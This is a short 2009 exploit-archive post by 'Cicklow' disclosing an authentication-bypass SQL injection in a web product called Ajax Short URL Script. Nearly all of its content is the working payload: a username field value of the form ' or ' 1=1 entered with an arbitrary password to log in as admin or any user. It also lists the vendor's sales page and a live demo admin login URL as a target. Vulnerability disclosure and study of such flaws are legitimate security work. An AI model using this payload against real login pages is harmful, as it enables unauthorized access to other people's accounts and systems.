Ajax Short URL Script (Auth Bypass) SQL Injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Ajax Short URL Script (Auth Bypass) SQL Injection Vulnerability
# Published : 2009-08-03
# Author : Cicklow
# Previous Title : ProjectButler 1.5.0 (pda_projects.php offset) RFI Vulnerability
# Next Title : Netpet CMS 1.9 (confirm.php language) Local File Inclusion Vulnerability

[-] Discovered By: Cicklow
[-] Date: 03.08.2009

Exploit:

username: [real_admin_name] ' or ' 1=1
password: cicklow

note: generally admin name: admin
or any user

Buy Script: http://junglescripts.com/short_urls.php
Admin login Demo: http://href.in/x/login

# www.Syue.com [2009-08-03]